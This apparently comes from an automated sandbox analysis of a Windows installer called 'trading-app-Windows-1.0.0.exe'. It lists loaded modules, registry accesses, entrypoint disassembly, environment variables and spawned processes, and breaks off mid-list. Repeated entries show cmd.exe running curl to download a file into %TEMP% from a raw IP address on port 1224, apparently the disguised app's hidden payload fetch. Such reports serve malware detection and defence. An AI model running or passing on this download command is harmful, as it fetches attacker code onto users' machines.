IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "StdUtils.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "System.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE3e:T220d,"trading-app-Windows-1.0.0.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75cd0000 "trading-app-Windows-1.0.0.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75cd0000 "trading-app-Windows-1.0.0.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75cd0000 "trading-app-Windows-1.0.0.exe" loaded module "KERNEL32" at base 77440000 "trading-app-Windows-1.0.0.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 72ce0000 "trading-app-Windows-1.0.0.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73a30000 "trading-app-Windows-1.0.0.exe" loaded module "%WINDIR%\SYSTEM32\USERENV.DLL" at base 72c30000 "trading-app-Windows-1.0.0.exe" loaded module "%WINDIR%\SYSTEM32\SETUPAPI.DLL" at base 756f0000 "trading-app-Windows-1.0.0.exe" loaded module "NTDLL.DLL" at base 77560000 "trading-app-Windows-1.0.0.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73ed0000 "trading-app-Windows-1.0.0.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 734d0000 "trading-app-Windows-1.0.0.exe" loaded module "%WINDIR%\SYSTEM32\DWMAPI.DLL" at base 72c80000 "trading-app-Windows-1.0.0.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTBASE.DLL" at base 73f70000 "trading-app-Windows-1.0.0.exe" loaded module "%WINDIR%\SYSTEM32\OLEACC.DLL" at base 72bd0000 "trading-app-Windows-1.0.0.exe" loaded module "%WINDIR%\SYSTEM32\CLBCATQ.DLL" at base 75eb0000 "trading-app-Windows-1.0.0.exe" loaded module "%WINDIR%\SYSTEM32\NTMARTA.DLL" at base 72f10000 "trading-app-Windows-1.0.0.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 73ca0000 "trading-app-Windows-1.0.0.exe" loaded module "%WINDIR%\SYSTEM32\SHFOLDER.DLL" at base 72bc0000 "trading-app-Windows-1.0.0.exe" loaded module "KERNEL32.DLL" at base 77440000 "trading-app-Windows-1.0.0.exe" loaded module "%WINDIR%\SYSTEM32\ICONCODECSERVICE.DLL" at base 73070000 "trading-app-Windows-1.0.0.exe" loaded module "%TEMP%\NSE95AF.TMP\SYSTEM.DLL" at base 72bb0000 "trading-app-Windows-1.0.0.exe" loaded module "%TEMP%\NSE95AF.TMP\NSIS7Z.DLL" at base 72b30000 "trading-app-Windows-1.0.0.exe" loaded module "RPCRT4.DLL" at base 75c10000 "trading-app-Windows-1.0.0.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 74850000 "trading-app-Windows-1.0.0.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 75ff0000 "trading-app-Windows-1.0.0.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 74ca0000 "trading-app-Windows-1.0.0.exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 72ac0000 "trading-app-Windows-1.0.0.exe" loaded module "%WINDIR%\SYSWOW64\SHELL32.DLL" at base 75ff0000 "trading-app-Windows-1.0.0.exe" loaded module "SHELL32.DLL" at base 75ff0000 "trading-app-Windows-1.0.0.exe" loaded module "%WINDIR%\SYSWOW64\WINTYPES.DLL" at base 729f0000 "trading-app-Windows-1.0.0.exe" loaded module "%WINDIR%\SYSTEM32\NTSHRUI.DLL" at base 72920000 "trading-app-Windows-1.0.0.exe" loaded module "%TEMP%\NSE95AF.TMP\STDUTILS.DLL" at base 72900000 "trading-app.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffc7bf40000 "trading-app.exe" loaded module "KERNEL32.DLL" at base 7ffc7c630000 "trading-app.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffc79d80000 "trading-app.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffc79d80000 "trading-app.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffc79d80000 "trading-app.exe" loaded module "KERNEL32" at base 7ffc7c630000 "trading-app.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffc59a10000 "trading-app.exe" loaded module "BCRYPTPRIMITIVES.DLL" at base 7ffc7a1e0000 "trading-app.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffc79d80000 "trading-app.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffc79d80000 "trading-app.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffc79d80000 "trading-app.exe" loaded module "POWRPROF.DLL" at base 7ffc79330000 "trading-app.exe" loaded module "USER32.DLL" at base 7ffc7a640000 "trading-app.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffc77970000 "trading-app.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ffc78bc0000 "trading-app.exe" loaded module "SHELL32.DLL" at base 7ffc7aa10000 "trading-app.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHELL32-L1-1-0.DLL" at base 7ffc7a590000 "trading-app.exe" loaded module "ADVAPI32.DLL" at base 7ffc7a4b0000 "trading-app.exe" loaded module "KBDUS.DLL" at base 7ffc63d30000 "trading-app.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffc7bf70000 "trading-app.exe" loaded module "OLE32.DLL" at base 1086a4a0000 "trading-app.exe" loaded module "API-MS-WIN-SHCORE-SCALING-L1-1-1.DLL" at base 7ffc7a590000 "trading-app.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 7ffc793c0000 "trading-app.exe" loaded module "NTDLL.DLL" at base 7ffc7cfe0000 "trading-app.exe" loaded module "RPCRT4.DLL" at base 7ffc7c6e0000 "trading-app.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ffc72070000 "trading-app.exe" loaded module "COMCTL32.DLL" at base 7ffc68ea0000 "trading-app.exe" loaded module "%WINDIR%\SYSTEM32\NLAAPI.DLL" at base 7ffc74960000 "trading-app.exe" loaded module "GDI32.DLL" at base 7ffc7a560000 "trading-app.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ffc72880000 "trading-app.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 7ffc7c440000 "trading-app.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 1086a4a0000 "trading-app.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ffc7bf70000 "trading-app.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.UI.DLL" at base 7ffc6b2b0000 "trading-app.exe" loaded module "WTSAPI32.DLL" at base 7ffc741f0000 "trading-app.exe" loaded module "%WINDIR%\SYSTEM32\MMDEVAPI.DLL" at base 7ffc73af0000 "trading-app.exe" loaded module "MSCMS.DLL" at base 7ffc64f70000 "trading-app.exe" loaded module "CFGMGR32.DLL" at base 7ffc79ff0000 "trading-app.exe" loaded module "%WINDIR%\SYSTEM32\ICONCODECSERVICE.DLL" at base 7ffc6d7c0000 "trading-app.exe" loaded module "%WINDIR%\SYSTEM32\DATAEXCHANGE.DLL" at base 7ffc62bd0000 "trading-app.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.GLOBALIZATION.DLL" at base 7ffc69370000 "trading-app.exe" loaded module "SHLWAPI.DLL" at base 7ffc7bee0000 "trading-app.exe" loaded module "%WINDIR%\SYSTEM32\TWINAPI.DLL" at base 7ffc63440000 "trading-app.exe" loaded module "OLEAUT32.DLL" at base 7ffc7c8a0000 "trading-app.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-WINDOW-EXT-L1-1-0.DLL" at base 7ffc7a640000 "trading-app.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-INTEGRATION-L1-1-0.DLL" at base 7ffc7a640000 "trading-app.exe" loaded module "API-MS-WIN-CORE-COM-L1-1-0.DLL" at base 7ffc7bf70000 "trading-app.exe" loaded module "ATLTHUNK.DLL" at base 7ffc65370000 "trading-app.exe" loaded module "OLEACC.DLL" at base 7ffc62c20000 "trading-app.exe" loaded module "API-MS-WIN-POWER-BASE-L1-1-0.DLL" at base 7ffc79330000 "trading-app.exe" loaded module "%WINDIR%\SYSTEM32\DIRECTMANIPULATION.DLL" at base 7ffc692a0000 "trading-app.exe" loaded module "BCRYPTPRIMITIVES" at base 7ffc7a1e0000 "trading-app.exe" loaded module "%WINDIR%\SYSTEM32\NAPINSP.DLL" at base 7ffc68890000 "trading-app.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffc787d0000 "trading-app.exe" loaded module "%WINDIR%\SYSTEM32\PNRPNSP.DLL" at base 7ffc68870000 "trading-app.exe" loaded module "%WINDIR%\SYSTEM32\WINRNR.DLL" at base 7ffc6d7b0000 "trading-app.exe" loaded module "SSPICLI.DLL" at base 7ffc79260000 "trading-app.exe" loaded module "%WINDIR%\SYSTEM32\MSSPELLCHECKINGFACILITY.DLL" at base 7ffc53530000 "trading-app.exe" loaded module "%WINDIR%\SYSTEM32\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 7ffc74210000 "trading-app.exe" loaded module "DWMAPI.DLL" at base 7ffc77be0000 "trading-app.exe" loaded module "API-MS-WIN-CORE-SYSINFO-L1-2-1" at base 7ffc79d80000 "cmd.exe" loaded module "KERNEL32" at base 7ffc7c630000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffc79d80000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffc79d80000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffc79d80000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffc7bf40000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffc79d80000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffc79d80000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffc79d80000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffc59a100003f:T5d5,"trading-app-Windows-1.0.0.exe" was detected as "Nullsoft Scriptable Install System" and name: "Installer" "trading-app-Windows-1.0.0.exe" was detected as "Microsoft Linker" and name: "Linker" "vk_swiftshader.dll" was detected as "Nullsoft Scriptable Install System" and name: "Installer" "vk_swiftshader.dll" was detected as "Microsoft Linker" and name: "Linker" "ffmpeg.dll" was detected as "Nullsoft Scriptable Install System" and name: "Installer" "ffmpeg.dll" was detected as "Microsoft Linker" and name: "Linker" "vulkan-1.dll" was detected as "Nullsoft Scriptable Install System" and name: "Installer" "vulkan-1.dll" was detected as "Microsoft Linker" and name: "Linker" "libEGL.dll" was detected as "Nullsoft Scriptable Install System" and name: "Installer" "libEGL.dll" was detected as "Microsoft Linker" and name: "Linker" "nsis7z.dll" was detected as "Nullsoft Scriptable Install System" and name: "Installer" "nsis7z.dll" was detected as "Microsoft Linker" and name: "Linker" "elevate.exe" was detected as "Nullsoft Scriptable Install System" and name: "Installer" "elevate.exe" was detected as "Microsoft Linker" and name: "Linker" "StdUtils.dll" was detected as "Nullsoft Scriptable Install System" and name: "Installer" "StdUtils.dll" was detected as "Microsoft Linker" and name: "Linker" "System.dll" was detected as "Nullsoft Scriptable Install System" and name: "Installer" "System.dll" was detected as "Microsoft Linker" and name: "Linker"40:Tb88,"trading-app-Windows-1.0.0.exe" touched "Search Gatherer Notification" (Path: "HKCU\WOW6432NODE\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}") "trading-app-Windows-1.0.0.exe" touched "Ptype_PSFactory" (Path: "HKCU\WOW6432NODE\CLSID\{11659A23-5884-4D1B-9CF6-67D6F4F90B36}\TREATAS") "trading-app-Windows-1.0.0.exe" touched "Computer" (Path: "HKCU\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "trading-app-Windows-1.0.0.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "trading-app-Windows-1.0.0.exe" touched "Property System Both Class Factory" (Path: "HKCU\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "trading-app-Windows-1.0.0.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "trading-app-Windows-1.0.0.exe" touched "Sync root manager" (Path: "HKCU\WOW6432NODE\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\TREATAS") "trading-app-Windows-1.0.0.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "trading-app-Windows-1.0.0.exe" touched "Shell Copy Hook" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{217FC9C0-3AEA-1069-A2DB-08002B30309D}\INPROCSERVER32") "trading-app-Windows-1.0.0.exe" touched "Shell extensions for sharing" (Path: "HKCU\WOW6432NODE\CLSID\{40DD6E20-7C17-11CE-A804-00AA003CA9F6}\INSTANCE") "trading-app-Windows-1.0.0.exe" touched "UsersFiles" (Path: "HKCU\WOW6432NODE\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "trading-app-Windows-1.0.0.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\WOW6432NODE\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE") "trading-app-Windows-1.0.0.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "trading-app-Windows-1.0.0.exe" touched "Known Folder Manager" (Path: "HKCU\WOW6432NODE\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\TREATAS") "trading-app.exe" touched "Microsoft Spell Checker Factory Class" (Path: "HKCU\CLSID\{7AB36653-1796-484B-BDFA-E74F1DB7C1DC}") "trading-app.exe" touched "TF_InputProcessorProfiles" (Path: "HKCU\CLSID\{33C53A50-F456-4884-B049-85FD643ECFED}\TREATAS") "trading-app.exe" touched "TF_ThreadMgr" (Path: "HKCU\CLSID\{529A9E6B-6587-4F23-AB9E-9C7D683E3C50}\TREATAS") "trading-app.exe" touched "TF_CategoryMgr" (Path: "HKCU\CLSID\{A4B544A1-438D-4B41-9325-869523E2D6C7}\TREATAS") "trading-app.exe" touched "TF_DisplayAttributeMgr" (Path: "HKCU\CLSID\{3CE74DE4-53D3-4D74-8B83-431B3828BA53}\TREATAS") "trading-app.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{144C71F2-7F10-4AB2-BB07-C38F5B9AE05E}\TREATAS") "trading-app.exe" touched "MMDeviceEnumerator class" (Path: "HKCU\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\TREATAS")41:T1378,"trading-app-Windows-1.0.0.exe" file has an entrypoint instructions - "sub esp, 0x2d4,push ebx,push esi,push edi,push 0x20,pop edi,xor ebx, ebx,push 0x8001,mov dword ptr [esp + 0x14], ebx,mov dword ptr [esp + 0x10], 0x40a2e0,mov dword ptr [esp + 0x1c], ebx,call dword ptr [0x4080a8],call dword ptr [0x4080a4],and eax, 0xbfffffff,cmp ax, 6,mov dword ptr [0x47aeec], eax,je 0x4033df,push ebx,call 0x406694,cmp eax, ebx,je 0x4033df,push 0xc00,call eax,mov esi, 0x4082b0,push esi,call 0x406624,push esi,call dword ptr [0x408150]," "vk_swiftshader.dll" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x180380031,call 0x180380050,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x18037fed0,int3 ,int3 ,int3 ,mov qword ptr [rsp + 0x20], rbx,push rbp,mov rbp, rsp,sub rsp, 0x20,mov rax, qword ptr [rip + 0x144fd4],movabs rbx, 0x2b992ddfa232,cmp rax, rbx,jne 0x1803800e7," "ffmpeg.dll" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x1800b8fa1,call 0x1800b8fc0,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x1800b8e40,int3 ,int3 ,int3 ,mov qword ptr [rsp + 0x20], rbx,push rbp,mov rbp, rsp,sub rsp, 0x20,mov rax, qword ptr [rip + 0x1f3054],movabs rbx, 0x2b992ddfa232,cmp rax, rbx,jne 0x1800b9057," "vulkan-1.dll" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x18005e8c1,call 0x18005e8e0,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x18005e760,int3 ,int3 ,int3 ,mov qword ptr [rsp + 0x20], rbx,push rbp,mov rbp, rsp,sub rsp, 0x20,mov rax, qword ptr [rip + 0x7c734],movabs rbx, 0x2b992ddfa232,cmp rax, rbx,jne 0x18005e977," "libEGL.dll" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x18001b781,call 0x18001b7a0,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x18001b620,int3 ,int3 ,int3 ,mov qword ptr [rsp + 0x20], rbx,push rbp,mov rbp, rsp,sub rsp, 0x20,mov rax, qword ptr [rip + 0x50874],movabs rbx, 0x2b992ddfa232,cmp rax, rbx,jne 0x18001b837," "nsis7z.dll" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x10041926,call 0x10041d9f,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x100417e7,add esp, 0xc,pop ebp,ret 0xc,int3 ,int3 ,int3 ,int3 ,int3 ,push ecx,lea ecx, [esp + 4],sub ecx, eax,sbb eax, eax,not eax,and ecx, eax,mov eax, esp,and eax, 0xfffff000,cmp ecx, eax,bnd jb 0x10041964,mov eax, ecx,pop ecx,xchg esp, eax,mov eax, dword ptr [eax],mov dword ptr [esp], eax,bnd ret ,sub eax, 0x1000,test dword ptr [eax], eax,jmp 0x10041954,jmp 0x10045e26,push ebp,mov ebp, esp,push esi,push dword ptr [ebp + 8],mov esi, ecx," "elevate.exe" file has an entrypoint instructions - "call 0x401e04,jmp 0x4018f0,push ebp,mov ebp, esp,push 0,call dword ptr [0x413020],push dword ptr [ebp + 8],call dword ptr [0x41301c],push 0xc0000409,call dword ptr [0x413024],push eax,call dword ptr [0x413028],pop ebp,ret ,push ebp,mov ebp, esp,sub esp, 0x324,push 0x17,call 0x410fd4,test eax, eax,je 0x401ab7,push 2,pop ecx,int 0x29,mov dword ptr [0x41a8f0], eax,mov dword ptr [0x41a8ec], ecx,mov dword ptr [0x41a8e8], edx,mov dword ptr [0x41a8e4], ebx," "StdUtils.dll" file has an entrypoint instructions - "cmp dword ptr [esp + 8], 1,jne 0x1000eae7,push 0x10019550,call dword ptr [0x10014044],mov eax, dword ptr [esp + 4],mov dword ptr [0x1001959c], 0,mov byte ptr [0x10019582], 0,mov dword ptr [0x10019598], eax,jmp 0x1000eafe,cmp dword ptr [esp + 8], 0,jne 0x1000eafe,call 0x10005968,push 0x10019550,call dword ptr [0x10014078],xor eax, eax,inc eax,ret 0xc,cmp dword ptr [esp + 4], 0,jl 0x1000eb12,cmp dword ptr [esp + 4], 1,jle 0x1000eb1d,push 0x10014398,call dword ptr [0x1001403c]," "System.dll" file has an entrypoint instructions - "mov eax, dword ptr [esp + 4],cmp dword ptr [esp + 8], 1,mov dword ptr [0x10005048], eax,jne 0x100029e3,push 0x1000504c,push 0x40,push 4,push 0x1000505c,call dword ptr [0x10004038],xor eax, eax,mov byte ptr [0x1000505c], 0xc2,mov dword ptr [0x1000504c], eax,mov dword ptr [0x10005054], eax,mov dword ptr [0x10005068], eax,mov dword ptr [0x10005058], eax,mov dword ptr [0x10005050], eax,mov dword ptr [0x10005060], eax,mov byte ptr [0x1000505e], al,xor eax, eax,inc eax,ret 0xc,mov eax, 0x10000,ret ,mov eax, dword ptr [esp + 4],"42:Taa1,Process "trading-app.exe" (UID: 00000000-00006124) was launched with new environment variables: "PORTABLE_EXECUTABLE_FILE="C:\trading-app-Windows-1.0.0.exe", PORTABLE_EXECUTABLE_APP_FILENAME="trading-super-deriv", USERDNSDOMAIN="DESKTOP-FVVF82A", PORTABLE_EXECUTABLE_DIR="C:", PROCESSOR_ARCHITEW6432="AMD64"" Process "trading-app.exe" (UID: 00000000-00006124) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS" Process "cmd.exe" (UID: 00000000-00001708) was launched with new environment variables: "ORIGINAL_XDG_CURRENT_DESKTOP="undefined"" Process "cmd.exe" (UID: 00000000-00001708) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS" Process "cmd.exe" (UID: 00000000-00001708) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "trading-app.exe" (UID: 00000000-00007064) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "trading-app.exe" (UID: 00000000-00002908) was launched with missing environment variables: "USERDOMAIN_ROAMINGPROFILE, PROCESSOR_LEVEL, PORTABLE_EXECUTABLE_FILE, SSLKEYLOGFILE, USERDOMAIN, LOGONSERVER, SESSIONNAME, ALLUSERSPROFILE, PROCESSOR_ARCHITECTURE, PSModulePath, OneDrive, APPDATA, PORTABLE_EXECUTABLE_APP_FILENAME, USERNAME, USERDNSDOMAIN, ProgramFiles(x86), CommonProgramFiles, PORTABLE_EXECUTABLE_DIR, PATHEXT, OS, COMPUTERNAME, PROCESSOR_REVISION, CommonProgramW6432, ComSpec, ORIGINAL_XDG_CURRENT_DESKTOP, ProgramData, ProgramW6432, HOMEPATH, HOMEDRIVE, PROCESSOR_IDENTIFIER, USERPROFILE, CommonProgramFiles(x86), ProgramFiles, PUBLIC, NUMBER_OF_PROCESSORS, windir" Process "trading-app.exe" (UID: 00000000-00002088) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "cmd.exe" (UID: 00000000-00000576) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "trading-app.exe" (UID: 00000000-00005732) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "trading-app.exe" (UID: 00000000-00004332) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "trading-app.exe" (UID: 00000000-00003456) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "trading-app.exe" (UID: 00000000-00007720) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "trading-app.exe" (UID: 00000000-00001392) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "trading-app.exe" (UID: 00000000-00002752) was launched with modified environment variables: "NUMBER_OF_PROCESSORS"43:T558,Observed system executable string:"%WINDIR%\system32\UXTHEME.dll" [Source: 00000000-00004416-00000C2A-689885337] Observed system executable string:"%WINDIR%\system32\USERENV.dll" [Source: 00000000-00004416-00000C2A-689911905] Observed system executable string:"%WINDIR%\system32\SETUPAPI.dll" [Source: 00000000-00004416-00000C2A-689938220] Observed system executable string:"%WINDIR%\system32\APPHELP.dll" [Source: 00000000-00004416-00000C2A-690056724] Observed system executable string:"%WINDIR%\system32\PROPSYS.dll" [Source: 00000000-00004416-00000C2A-690085966] Observed system executable string:"%WINDIR%\system32\DWMAPI.dll" [Source: 00000000-00004416-00000C2A-690118292] Observed system executable string:"%WINDIR%\system32\CRYPTBASE.dll" [Source: 00000000-00004416-00000C2A-690150652] Observed system executable string:"%WINDIR%\system32\OLEACC.dll" [Source: 00000000-00004416-00000C2A-690292257] Observed system executable string:"%WINDIR%\system32\CLBCATQ.dll" [Source: 00000000-00004416-00000C2A-690324327] Observed system executable string:"%WINDIR%\system32\NTMARTA.dll" [Source: 00000000-00004416-00000C2A-690357021] Observed system executable string:"%WINDIR%\system32\VERSION.dll" [Source: 00000000-00004416-00000C2A-690387488] Observed system executable string:"%WINDIR%\system32\SHFOLDER.dll" [Source: 00000000-00004416-00000C2A-690421194]44:T43f,"/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" on 2025-5-21.12:44:06.694 "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" on 2025-5-21.12:44:13.178 "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" on 2025-5-21.12:44:28.725 "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" on 2025-5-21.12:44:28.803 "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" on 2025-5-21.12:44:34.944 "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" on 2025-5-21.12:44:51.506 "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" on 2025-5-21.12:44:51.522 "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" on 2025-5-21.12:44:57.178 "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" on 2025-5-21.12:45:14.397 "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" on 2025-5-21.12:45:14.413 "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" on 2025-5-21.12:45:17.96045:Tdaa,Spawned process "trading-app.exe" (UID: 00000000-00006124) Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pd ..." (UID: 00000000-00001708) Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pd ..." (UID: 00000000-00006724) Spawned process "trading-app.exe" with commandline ""%APPDATA%\\trading-super-deriv" --gpu-preferences=WAAAAAAAAADgA ..." (UID: 00000000-00007064) Spawned process "trading-app.exe" with commandline ""%APPDATA%\\trading-super-deriv" --mojo-platform-channel-handle= ..." (UID: 00000000-00004288) Spawned process "trading-app.exe" with commandline ""%APPDATA%\\trading-super-deriv" --app-path="%TEMP%\\2wnUXCqaFfb ..." (UID: 00000000-00002908), Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pd ..." (UID: 00000000-00007736), Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pd ..." (UID: 00000000-00000712), Spawned process "trading-app.exe" with commandline ""%APPDATA%\\trading-super-deriv" --gpu-preferences=WAAAAAAAAADgA ..." (UID: 00000000-00002088), Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pd ..." (UID: 00000000-00000576), Spawned process "trading-app.exe" with commandline ""%APPDATA%\\trading-super-deriv" --gpu-preferences=WAAAAAAAAADgA ..." (UID: 00000000-00006964), Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pd ..." (UID: 00000000-00004580), Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pd ..." (UID: 00000000-00001632), Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pd ..." (UID: 00000000-00004516), Spawned process "trading-app.exe" with commandline ""%APPDATA%\\trading-super-deriv" --gpu-preferences=WAAAAAAAAADgA ..." (UID: 